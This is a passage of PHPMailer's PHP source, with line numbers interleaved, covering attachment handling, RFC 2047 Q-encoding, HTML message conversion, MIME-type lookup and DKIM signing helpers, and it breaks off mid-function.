2671
     * @param string $string
2672
     * @param integer $line_max
2673
     * @param boolean $space_conv
2674
     * @return string
2675
     * @deprecated Use encodeQP instead.
2676
     */
2677
    public function encodeQPphp(
2678
        $string,
2679
        $line_max = 76,
2680
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
2681
    ) {
2682
        return $this->encodeQP($string, $line_max);
2683
    }
2684
    /**
2685
     * Encode a string using Q encoding.
2686
     * @link http://tools.ietf.org/html/rfc2047
2687
     * @param string $str the text to encode
2688
     * @param string $position Where the text is going to be used, see the RFC for what that means
2689
     * @access public
2690
     * @return string
2691
     */
2692
    public function encodeQ($str, $position = 'text')
2693
    {
2694
        // There should not be any EOL in the string
2695
        $pattern = '';
2696
        $encoded = str_replace(array("\r", "\n"), '', $str);
2697
        switch (strtolower($position)) {
2698
            case 'phrase':
2699
                // RFC 2047 section 5.3
2700
                $pattern = '^A-Za-z0-9!*+\/ -';
2701
                break;
2702
            /** @noinspection PhpMissingBreakStatementInspection */
2703
            case 'comment':
2704
                // RFC 2047 section 5.2
2705
                $pattern = '\(\)"';
2706
                // intentional fall-through
2707
                // for this reason we build the $pattern without including delimiters and []
2708
            case 'text':
2709
            default:
2710
                // RFC 2047 section 5.1
2711
                // Replace every high ascii, control, =, ? and _ characters
2712
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
2713
                break;
2714
        }
2715
        $matches = array();
2716
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
2717
            // If the string contains an '=', make sure it's the first thing we replace
2718
            // so as to avoid double-encoding
2719
            $eqkey = array_search('=', $matches[0]);
2720
            if (false !== $eqkey) {
2721
                unset($matches[0][$eqkey]);
2722
                array_unshift($matches[0], '=');
2723
            }
2724
            foreach (array_unique($matches[0]) as $char) {
2725
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
2726
            }
2727
        }
2728
        // Replace every spaces to _ (more readable than =20)
2729
        return str_replace(' ', '_', $encoded);
2730
    }
2731
    /**
2732
     * Add a string or binary attachment (non-filesystem).
2733
     * This method can be used to attach ascii or binary data,
2734
     * such as a BLOB record from a database.
2735
     * @param string $string String attachment data.
2736
     * @param string $filename Name of the attachment.
2737
     * @param string $encoding File encoding (see $Encoding).
2738
     * @param string $type File extension (MIME) type.
2739
     * @param string $disposition Disposition to use
2740
     * @return void
2741
     */
2742
    public function addStringAttachment(
2743
        $string,
2744
        $filename,
2745
        $encoding = 'base64',
2746
        $type = '',
2747
        $disposition = 'attachment'
2748
    ) {
2749
        // If a MIME type is not specified, try to work it out from the file name
2750
        if ($type == '') {
2751
            $type = self::filenameToType($filename);
2752
        }
2753
        // Append to $attachment array
2754
        $this->attachment[] = array(
2755
            0 => $string,
2756
            1 => $filename,
2757
            2 => basename($filename),
2758
            3 => $encoding,
2759
            4 => $type,
2760
            5 => true, // isStringAttachment
2761
            6 => $disposition,
2762
            7 => 0
2763
        );
2764
    }
2765
    /**
2766
     * Add an embedded (inline) attachment from a file.
2767
     * This can include images, sounds, and just about any other document type.
2768
     * These differ from 'regular' attachments in that they are intended to be
2769
     * displayed inline with the message, not just attached for download.
2770
     * This is used in HTML messages that embed the images
2771
     * the HTML refers to using the $cid value.
2772
     * @param string $path Path to the attachment.
2773
     * @param string $cid Content ID of the attachment; Use this to reference
2774
     *        the content when using an embedded image in HTML.
2775
     * @param string $name Overrides the attachment name.
2776
     * @param string $encoding File encoding (see $Encoding).
2777
     * @param string $type File MIME type.
2778
     * @param string $disposition Disposition to use
2779
     * @return boolean True on successfully adding an attachment
2780
     */
2781
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
2782
    {
2783
        if (!@is_file($path)) {
2784
            $this->setError($this->lang('file_access') . $path);
2785
            return false;
2786
        }
2787
        // If a MIME type is not specified, try to work it out from the file name
2788
        if ($type == '') {
2789
            $type = self::filenameToType($path);
2790
        }
2791
        $filename = basename($path);
2792
        if ($name == '') {
2793
            $name = $filename;
2794
        }
2795
        // Append to $attachment array
2796
        $this->attachment[] = array(
2797
            0 => $path,
2798
            1 => $filename,
2799
            2 => $name,
2800
            3 => $encoding,
2801
            4 => $type,
2802
            5 => false, // isStringAttachment
2803
            6 => $disposition,
2804
            7 => $cid
2805
        );
2806
        return true;
2807
    }
2808
    /**
2809
     * Add an embedded stringified attachment.
2810
     * This can include images, sounds, and just about any other document type.
2811
     * Be sure to set the $type to an image type for images:
2812
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
2813
     * @param string $string The attachment binary data.
2814
     * @param string $cid Content ID of the attachment; Use this to reference
2815
     *        the content when using an embedded image in HTML.
2816
     * @param string $name
2817
     * @param string $encoding File encoding (see $Encoding).
2818
     * @param string $type MIME type.
2819
     * @param string $disposition Disposition to use
2820
     * @return boolean True on successfully adding an attachment
2821
     */
2822
    public function addStringEmbeddedImage(
2823
        $string,
2824
        $cid,
2825
        $name = '',
2826
        $encoding = 'base64',
2827
        $type = '',
2828
        $disposition = 'inline'
2829
    ) {
2830
        // If a MIME type is not specified, try to work it out from the name
2831
        if ($type == '' and !empty($name)) {
2832
            $type = self::filenameToType($name);
2833
        }
2834
        // Append to $attachment array
2835
        $this->attachment[] = array(
2836
            0 => $string,
2837
            1 => $name,
2838
            2 => $name,
2839
            3 => $encoding,
2840
            4 => $type,
2841
            5 => true, // isStringAttachment
2842
            6 => $disposition,
2843
            7 => $cid
2844
        );
2845
        return true;
2846
    }
2847
    /**
2848
     * Check if an inline attachment is present.
2849
     * @access public
2850
     * @return boolean
2851
     */
2852
    public function inlineImageExists()
2853
    {
2854
        foreach ($this->attachment as $attachment) {
2855
            if ($attachment[6] == 'inline') {
2856
                return true;
2857
            }
2858
        }
2859
        return false;
2860
    }
2861
    /**
2862
     * Check if an attachment (non-inline) is present.
2863
     * @return boolean
2864
     */
2865
    public function attachmentExists()
2866
    {
2867
        foreach ($this->attachment as $attachment) {
2868
            if ($attachment[6] == 'attachment') {
2869
                return true;
2870
            }
2871
        }
2872
        return false;
2873
    }
2874
    /**
2875
     * Check if this message has an alternative body set.
2876
     * @return boolean
2877
     */
2878
    public function alternativeExists()
2879
    {
2880
        return !empty($this->AltBody);
2881
    }
2882
    /**
2883
     * Clear queued addresses of given kind.
2884
     * @access protected
2885
     * @param string $kind 'to', 'cc', or 'bcc'
2886
     * @return void
2887
     */
2888
    public function clearQueuedAddresses($kind)
2889
    {
2890
        $RecipientsQueue = $this->RecipientsQueue;
2891
        foreach ($RecipientsQueue as $address => $params) {
2892
            if ($params[0] == $kind) {
2893
                unset($this->RecipientsQueue[$address]);
2894
            }
2895
        }
2896
    }
2897
    /**
2898
     * Clear all To recipients.
2899
     * @return void
2900
     */
2901
    public function clearAddresses()
2902
    {
2903
        foreach ($this->to as $to) {
2904
            unset($this->all_recipients[strtolower($to[0])]);
2905
        }
2906
        $this->to = array();
2907
        $this->clearQueuedAddresses('to');
2908
    }
2909
    /**
2910
     * Clear all CC recipients.
2911
     * @return void
2912
     */
2913
    public function clearCCs()
2914
    {
2915
        foreach ($this->cc as $cc) {
2916
            unset($this->all_recipients[strtolower($cc[0])]);
2917
        }
2918
        $this->cc = array();
2919
        $this->clearQueuedAddresses('cc');
2920
    }
2921
    /**
2922
     * Clear all BCC recipients.
2923
     * @return void
2924
     */
2925
    public function clearBCCs()
2926
    {
2927
        foreach ($this->bcc as $bcc) {
2928
            unset($this->all_recipients[strtolower($bcc[0])]);
2929
        }
2930
        $this->bcc = array();
2931
        $this->clearQueuedAddresses('bcc');
2932
    }
2933
    /**
2934
     * Clear all ReplyTo recipients.
2935
     * @return void
2936
     */
2937
    public function clearReplyTos()
2938
    {
2939
        $this->ReplyTo = array();
2940
        $this->ReplyToQueue = array();
2941
    }
2942
    /**
2943
     * Clear all recipient types.
2944
     * @return void
2945
     */
2946
    public function clearAllRecipients()
2947
    {
2948
        $this->to = array();
2949
        $this->cc = array();
2950
        $this->bcc = array();
2951
        $this->all_recipients = array();
2952
        $this->RecipientsQueue = array();
2953
    }
2954
    /**
2955
     * Clear all filesystem, string, and binary attachments.
2956
     * @return void
2957
     */
2958
    public function clearAttachments()
2959
    {
2960
        $this->attachment = array();
2961
    }
2962
    /**
2963
     * Clear all custom headers.
2964
     * @return void
2965
     */
2966
    public function clearCustomHeaders()
2967
    {
2968
        $this->CustomHeader = array();
2969
    }
2970
    /**
2971
     * Add an error message to the error container.
2972
     * @access protected
2973
     * @param string $msg
2974
     * @return void
2975
     */
2976
    protected function setError($msg)
2977
    {
2978
        $this->error_count++;
2979
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
2980
            $lasterror = $this->smtp->getError();
2981
            if (!empty($lasterror['error'])) {
2982
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
2983
                if (!empty($lasterror['detail'])) {
2984
                    $msg .= ' Detail: '. $lasterror['detail'];
2985
                }
2986
                if (!empty($lasterror['smtp_code'])) {
2987
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
2988
                }
2989
                if (!empty($lasterror['smtp_code_ex'])) {
2990
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
2991
                }
2992
            }
2993
        }
2994
        $this->ErrorInfo = $msg;
2995
    }
2996
    /**
2997
     * Return an RFC 822 formatted date.
2998
     * @access public
2999
     * @return string
3000
     * @static
3001
     */
3002
    public static function rfcDate()
3003
    {
3004
        // Set the time zone to whatever the default is to avoid 500 errors
3005
        // Will default to UTC if it's not set properly in php.ini
3006
        date_default_timezone_set(@date_default_timezone_get());
3007
        return date('D, j M Y H:i:s O');
3008
    }
3009
    /**
3010
     * Get the server hostname.
3011
     * Returns 'localhost.localdomain' if unknown.
3012
     * @access protected
3013
     * @return string
3014
     */
3015
    protected function serverHostname()
3016
    {
3017
        $result = 'localhost.localdomain';
3018
        if (!empty($this->Hostname)) {
3019
            $result = $this->Hostname;
3020
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
3021
            $result = $_SERVER['SERVER_NAME'];
3022
        } elseif (function_exists('gethostname') && gethostname() !== false) {
3023
            $result = gethostname();
3024
        } elseif (php_uname('n') !== false) {
3025
            $result = php_uname('n');
3026
        }
3027
        return $result;
3028
    }
3029
    /**
3030
     * Get an error message in the current language.
3031
     * @access protected
3032
     * @param string $key
3033
     * @return string
3034
     */
3035
    protected function lang($key)
3036
    {
3037
        if (count($this->language) < 1) {
3038
            $this->setLanguage('en'); // set the default language
3039
        }
3040
        if (array_key_exists($key, $this->language)) {
3041
            if ($key == 'smtp_connect_failed') {
3042
                //Include a link to troubleshooting docs on SMTP connection failure
3043
                //this is by far the biggest cause of support questions
3044
                //but it's usually not PHPMailer's fault.
3045
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
3046
            }
3047
            return $this->language[$key];
3048
        } else {
3049
            //Return the key as a fallback
3050
            return $key;
3051
        }
3052
    }
3053
    /**
3054
     * Check if an error occurred.
3055
     * @access public
3056
     * @return boolean True if an error did occur.
3057
     */
3058
    public function isError()
3059
    {
3060
        return ($this->error_count > 0);
3061
    }
3062
    /**
3063
     * Ensure consistent line endings in a string.
3064
     * Changes every end of line from CRLF, CR or LF to $this->LE.
3065
     * @access public
3066
     * @param string $str String to fixEOL
3067
     * @return string
3068
     */
3069
    public function fixEOL($str)
3070
    {
3071
        // Normalise to \n
3072
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
3073
        // Now convert LE as needed
3074
        if ($this->LE !== "\n") {
3075
            $nstr = str_replace("\n", $this->LE, $nstr);
3076
        }
3077
        return $nstr;
3078
    }
3079
    /**
3080
     * Add a custom header.
3081
     * $name value can be overloaded to contain
3082
     * both header name and value (name:value)
3083
     * @access public
3084
     * @param string $name Custom header name
3085
     * @param string $value Header value
3086
     * @return void
3087
     */
3088
    public function addCustomHeader($name, $value = null)
3089
    {
3090
        if ($value === null) {
3091
            // Value passed in as name:value
3092
            $this->CustomHeader[] = explode(':', $name, 2);
3093
        } else {
3094
            $this->CustomHeader[] = array($name, $value);
3095
        }
3096
    }
3097
    /**
3098
     * Returns all custom headers.
3099
     * @return array
3100
     */
3101
    public function getCustomHeaders()
3102
    {
3103
        return $this->CustomHeader;
3104
    }
3105
    /**
3106
     * Create a message from an HTML string.
3107
     * Automatically makes modifications for inline images and backgrounds
3108
     * and creates a plain-text version by converting the HTML.
3109
     * Overwrites any existing values in $this->Body and $this->AltBody
3110
     * @access public
3111
     * @param string $message HTML message string
3112
     * @param string $basedir baseline directory for path
3113
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
3114
     *    or your own custom converter @see PHPMailer::html2text()
3115
     * @return string $message
3116
     */
3117
    public function msgHTML($message, $basedir = '', $advanced = false)
3118
    {
3119
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
3120
        if (array_key_exists(2, $images)) {
3121
            foreach ($images[2] as $imgindex => $url) {
3122
                // Convert data URIs into embedded images
3123
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
3124
                    $data = substr($url, strpos($url, ','));
3125
                    if ($match[2]) {
3126
                        $data = base64_decode($data);
3127
                    } else {
3128
                        $data = rawurldecode($data);
3129
                    }
3130
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3131
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
3132
                        $message = str_replace(
3133
                            $images[0][$imgindex],
3134
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
3135
                            $message
3136
                        );
3137
                    }
3138
                } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
3139
                    // Do not change urls for absolute images (thanks to corvuscorax)
3140
                    // Do not change urls that are already inline images
3141
                    $filename = basename($url);
3142
                    $directory = dirname($url);
3143
                    if ($directory == '.') {
3144
                        $directory = '';
3145
                    }
3146
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3147
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
3148
                        $basedir .= '/';
3149
                    }
3150
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
3151
                        $directory .= '/';
3152
                    }
3153
                    if ($this->addEmbeddedImage(
3154
                        $basedir . $directory . $filename,
3155
                        $cid,
3156
                        $filename,
3157
                        'base64',
3158
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
3159
                    )
3160
                    ) {
3161
                        $message = preg_replace(
3162
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
3163
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
3164
                            $message
3165
                        );
3166
                    }
3167
                }
3168
            }
3169
        }
3170
        $this->isHTML(true);
3171
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
3172
        $this->Body = $this->normalizeBreaks($message);
3173
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
3174
        if (empty($this->AltBody)) {
3175
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
3176
                self::CRLF . self::CRLF;
3177
        }
3178
        return $this->Body;
3179
    }
3180
    /**
3181
     * Convert an HTML string into plain text.
3182
     * This is used by msgHTML().
3183
     * Note - older versions of this function used a bundled advanced converter
3184
     * which was been removed for license reasons in #232
3185
     * Example usage:
3186
     * <code>
3187
     * // Use default conversion
3188
     * $plain = $mail->html2text($html);
3189
     * // Use your own custom converter
3190
     * $plain = $mail->html2text($html, function($html) {
3191
     *     $converter = new MyHtml2text($html);
3192
     *     return $converter->get_text();
3193
     * });
3194
     * </code>
3195
     * @param string $html The HTML text to convert
3196
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
3197
     *   or provide your own callable for custom conversion.
3198
     * @return string
3199
     */
3200
    public function html2text($html, $advanced = false)
3201
    {
3202
        if (is_callable($advanced)) {
3203
            return call_user_func($advanced, $html);
3204
        }
3205
        return html_entity_decode(
3206
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
3207
            ENT_QUOTES,
3208
            $this->CharSet
3209
        );
3210
    }
3211
    /**
3212
     * Get the MIME type for a file extension.
3213
     * @param string $ext File extension
3214
     * @access public
3215
     * @return string MIME type of file.
3216
     * @static
3217
     */
3218
    public static function _mime_types($ext = '')
3219
    {
3220
        $mimes = array(
3221
            'xl'    => 'application/excel',
3222
            'js'    => 'application/javascript',
3223
            'hqx'   => 'application/mac-binhex40',
3224
            'cpt'   => 'application/mac-compactpro',
3225
            'bin'   => 'application/macbinary',
3226
            'doc'   => 'application/msword',
3227
            'word'  => 'application/msword',
3228
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3229
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
3230
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
3231
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
3232
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
3233
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
3234
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3235
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
3236
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
3237
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
3238
            'class' => 'application/octet-stream',
3239
            'dll'   => 'application/octet-stream',
3240
            'dms'   => 'application/octet-stream',
3241
            'exe'   => 'application/octet-stream',
3242
            'lha'   => 'application/octet-stream',
3243
            'lzh'   => 'application/octet-stream',
3244
            'psd'   => 'application/octet-stream',
3245
            'sea'   => 'application/octet-stream',
3246
            'so'    => 'application/octet-stream',
3247
            'oda'   => 'application/oda',
3248
            'pdf'   => 'application/pdf',
3249
            'ai'    => 'application/postscript',
3250
            'eps'   => 'application/postscript',
3251
            'ps'    => 'application/postscript',
3252
            'smi'   => 'application/smil',
3253
            'smil'  => 'application/smil',
3254
            'mif'   => 'application/vnd.mif',
3255
            'xls'   => 'application/vnd.ms-excel',
3256
            'ppt'   => 'application/vnd.ms-powerpoint',
3257
            'wbxml' => 'application/vnd.wap.wbxml',
3258
            'wmlc'  => 'application/vnd.wap.wmlc',
3259
            'dcr'   => 'application/x-director',
3260
            'dir'   => 'application/x-director',
3261
            'dxr'   => 'application/x-director',
3262
            'dvi'   => 'application/x-dvi',
3263
            'gtar'  => 'application/x-gtar',
3264
            'php3'  => 'application/x-httpd-php',
3265
            'php4'  => 'application/x-httpd-php',
3266
            'php'   => 'application/x-httpd-php',
3267
            'phtml' => 'application/x-httpd-php',
3268
            'phps'  => 'application/x-httpd-php-source',
3269
            'swf'   => 'application/x-shockwave-flash',
3270
            'sit'   => 'application/x-stuffit',
3271
            'tar'   => 'application/x-tar',
3272
            'tgz'   => 'application/x-tar',
3273
            'xht'   => 'application/xhtml+xml',
3274
            'xhtml' => 'application/xhtml+xml',
3275
            'zip'   => 'application/zip',
3276
            'mid'   => 'audio/midi',
3277
            'midi'  => 'audio/midi',
3278
            'mp2'   => 'audio/mpeg',
3279
            'mp3'   => 'audio/mpeg',
3280
            'mpga'  => 'audio/mpeg',
3281
            'aif'   => 'audio/x-aiff',
3282
            'aifc'  => 'audio/x-aiff',
3283
            'aiff'  => 'audio/x-aiff',
3284
            'ram'   => 'audio/x-pn-realaudio',
3285
            'rm'    => 'audio/x-pn-realaudio',
3286
            'rpm'   => 'audio/x-pn-realaudio-plugin',
3287
            'ra'    => 'audio/x-realaudio',
3288
            'wav'   => 'audio/x-wav',
3289
            'bmp'   => 'image/bmp',
3290
            'gif'   => 'image/gif',
3291
            'jpeg'  => 'image/jpeg',
3292
            'jpe'   => 'image/jpeg',
3293
            'jpg'   => 'image/jpeg',
3294
            'png'   => 'image/png',
3295
            'tiff'  => 'image/tiff',
3296
            'tif'   => 'image/tiff',
3297
            'eml'   => 'message/rfc822',
3298
            'css'   => 'text/css',
3299
            'html'  => 'text/html',
3300
            'htm'   => 'text/html',
3301
            'shtml' => 'text/html',
3302
            'log'   => 'text/plain',
3303
            'text'  => 'text/plain',
3304
            'txt'   => 'text/plain',
3305
            'rtx'   => 'text/richtext',
3306
            'rtf'   => 'text/rtf',
3307
            'vcf'   => 'text/vcard',
3308
            'vcard' => 'text/vcard',
3309
            'xml'   => 'text/xml',
3310
            'xsl'   => 'text/xml',
3311
            'mpeg'  => 'video/mpeg',
3312
            'mpe'   => 'video/mpeg',
3313
            'mpg'   => 'video/mpeg',
3314
            'mov'   => 'video/quicktime',
3315
            'qt'    => 'video/quicktime',
3316
            'rv'    => 'video/vnd.rn-realvideo',
3317
            'avi'   => 'video/x-msvideo',
3318
            'movie' => 'video/x-sgi-movie'
3319
        );
3320
        if (array_key_exists(strtolower($ext), $mimes)) {
3321
            return $mimes[strtolower($ext)];
3322
        }
3323
        return 'application/octet-stream';
3324
    }
3325
    /**
3326
     * Map a file name to a MIME type.
3327
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
3328
     * @param string $filename A file name or full path, does not need to exist as a file
3329
     * @return string
3330
     * @static
3331
     */
3332
    public static function filenameToType($filename)
3333
    {
3334
        // In case the path is a URL, strip any query string before getting extension
3335
        $qpos = strpos($filename, '?');
3336
        if (false !== $qpos) {
3337
            $filename = substr($filename, 0, $qpos);
3338
        }
3339
        $pathinfo = self::mb_pathinfo($filename);
3340
        return self::_mime_types($pathinfo['extension']);
3341
    }
3342
    /**
3343
     * Multi-byte-safe pathinfo replacement.
3344
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
3345
     * Works similarly to the one in PHP >= 5.2.0
3346
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
3347
     * @param string $path A filename or path, does not need to exist as a file
3348
     * @param integer|string $options Either a PATHINFO_* constant,
3349
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
3350
     * @return string|array
3351
     * @static
3352
     */
3353
    public static function mb_pathinfo($path, $options = null)
3354
    {
3355
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
3356
        $pathinfo = array();
3357
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
3358
            if (array_key_exists(1, $pathinfo)) {
3359
                $ret['dirname'] = $pathinfo[1];
3360
            }
3361
            if (array_key_exists(2, $pathinfo)) {
3362
                $ret['basename'] = $pathinfo[2];
3363
            }
3364
            if (array_key_exists(5, $pathinfo)) {
3365
                $ret['extension'] = $pathinfo[5];
3366
            }
3367
            if (array_key_exists(3, $pathinfo)) {
3368
                $ret['filename'] = $pathinfo[3];
3369
            }
3370
        }
3371
        switch ($options) {
3372
            case PATHINFO_DIRNAME:
3373
            case 'dirname':
3374
                return $ret['dirname'];
3375
            case PATHINFO_BASENAME:
3376
            case 'basename':
3377
                return $ret['basename'];
3378
            case PATHINFO_EXTENSION:
3379
            case 'extension':
3380
                return $ret['extension'];
3381
            case PATHINFO_FILENAME:
3382
            case 'filename':
3383
                return $ret['filename'];
3384
            default:
3385
                return $ret;
3386
        }
3387
    }
3388
    /**
3389
     * Set or reset instance properties.
3390
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
3391
     * harder to debug than setting properties directly.
3392
     * Usage Example:
3393
     * `$mail->set('SMTPSecure', 'tls');`
3394
     *   is the same as:
3395
     * `$mail->SMTPSecure = 'tls';`
3396
     * @access public
3397
     * @param string $name The property name to set
3398
     * @param mixed $value The value to set the property to
3399
     * @return boolean
3400
     * @TODO Should this not be using the __set() magic function?
3401
     */
3402
    public function set($name, $value = '')
3403
    {
3404
        if (property_exists($this, $name)) {
3405
            $this->$name = $value;
3406
            return true;
3407
        } else {
3408
            $this->setError($this->lang('variable_set') . $name);
3409
            return false;
3410
        }
3411
    }
3412
    /**
3413
     * Strip newlines to prevent header injection.
3414
     * @access public
3415
     * @param string $str
3416
     * @return string
3417
     */
3418
    public function secureHeader($str)
3419
    {
3420
        return trim(str_replace(array("\r", "\n"), '', $str));
3421
    }
3422
    /**
3423
     * Normalize line breaks in a string.
3424
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
3425
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
3426
     * @param string $text
3427
     * @param string $breaktype What kind of line break to use, defaults to CRLF
3428
     * @return string
3429
     * @access public
3430
     * @static
3431
     */
3432
    public static function normalizeBreaks($text, $breaktype = "\r\n")
3433
    {
3434
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
3435
    }
3436
    /**
3437
     * Set the public and private key files and password for S/MIME signing.
3438
     * @access public
3439
     * @param string $cert_filename
3440
     * @param string $key_filename
3441
     * @param string $key_pass Password for private key
3442
     * @param string $extracerts_filename Optional path to chain certificate
3443
     */
3444
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
3445
    {
3446
        $this->sign_cert_file = $cert_filename;
3447
        $this->sign_key_file = $key_filename;
3448
        $this->sign_key_pass = $key_pass;
3449
        $this->sign_extracerts_file = $extracerts_filename;
3450
    }
3451
    /**
3452
     * Quoted-Printable-encode a DKIM header.
3453
     * @access public
3454
     * @param string $txt
3455
     * @return string
3456
     */
3457
    public function DKIM_QP($txt)
3458
    {
3459
        $line = '';
3460
        for ($i = 0; $i < strlen($txt); $i++) {
3461
            $ord = ord($txt[$i]);
3462
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
3463
                $line .= $txt[$i];
3464
            } else {
3465
                $line .= '=' . sprintf('%02X', $ord);
3466
            }
3467
        }
3468
        return $line;
3469
    }
3470
    /**
3471
     * Generate a DKIM signature.
3472
     * @access public
3473
     * @param string $signHeader
3474
     * @throws phpmailerException
3475
     * @return string
3476
     */
3477
    public function DKIM_Sign($signHeader)
3478
    {
3479
        if (!defined('PKCS7_TEXT')) {
3480
            if ($this->exceptions) {
3481
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
3482
            }
3483
            return '';
3484
        }
3485
        $privKeyStr = file_get_contents($this->DKIM_private);
3486
        if ($this->DKIM_passphrase != '') {
3487
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
3488
        } else {
3489
            $privKey = $privKeyStr;
3490
        }
3491
        if (openssl_sign($signHeader, $signature, $privKey)) {
3492
            return base64_encode($signature);
3493
        }
3494
        return '';
3495
    }
3496
    /**
3497
     * Generate a DKIM canonicalization header.
3498
     * @access public
3499
     * @param string $signHeader Header
3500
     * @return string
3501
     */
3502
    public function DKIM_HeaderC($signHeader)
3503
    {
3504
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
3505
        $lines = explode("\r\n", $signHeader);
3506
        foreach ($lines as $key => $line) {
3507
            list($heading, $value) = explode(':', $line, 2);
3508
            $heading = strtolower($heading);
3509
            $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
3510
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
3511
        }
3512
        $signHeader = implode("\r\n", $lines);
3513
        return $signHeader;
3514
    }
3515
    /**
3516
     * Generate a DKIM canonicalization body.
3517
     * @access public
3518
     * @param string $body Message Body
3519
     * @return string
3520
     */
3521
    public function DKIM_BodyC($body)
3522
    {
3523
        if ($body == '') {
3524
            return "\r\n";
3525
        }
3526
        // stabilize line endings
3527
        $body = str_replace("\r\n", "\n", $body);
3528
        $body = str_replace("\n", "\r\n", $body);
3529
        // END stabilize line endings
3530
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
3531
            $body = substr($body, 0, strlen($body) - 2);
3532
        }
3533
        return $body;
3534
    }
3535
    /**
3536
     * Create the DKIM header and body in a new message header.
3537
     * @access public
3538
     * @param string $headers_line Header lines
3539
     * @param string $subject Subject
3540
     * @param string $body Body
3541
     * @return string
3542
     */
3543
    public function DKIM_Add($headers_line, $subject, $body)
3544
    {
3545
        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
3546
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
3547
        $DKIMquery = 'dns/txt'; // Query method
3548
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
3549
        $subject_header = "Subject: $subject";
3550
        $headers = explode($this->LE, $headers_line);
3551
        $from_header = '';
3552
        $to_header = '';
3553
        $current = '';
3554
        foreach ($headers as $header) {
3555
            if (strpos($header, 'From:') === 0) {
3556
                $from_header = $header;
3557
                $current = 'from_header';
3558
            } elseif (strpos($header, 'To:') === 0) {
3559
                $to_header = $header;
3560
                $current = 'to_header';
3561
            } else {
3562
                if (!empty($$current) && strpos($header, ' =?') === 0) {
3563
                    $$current .= $header;
3564
                } else {
3565
                    $current = '';
3566
                }
3567
            }
3568
        }
3569
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
3570
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
3571
        $subject = str_replace(
3572
            '|',
3573
            '=7C',
3574
            $this->DKIM_QP($subject_header)
3575
        ); // Copied header fields (dkim-quoted-printable)
3576
        $body = $this->DKIM_BodyC($body);
3577
        $DKIMlen = strlen($body); // Length of body
3578
        $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
3579
        if ('' == $this->DKIM_identity) {
3580
            $ident = '';
3581
        } else {
3582
            $ident = ' i=' . $this->DKIM_identity . ';';
3583
        }
3584
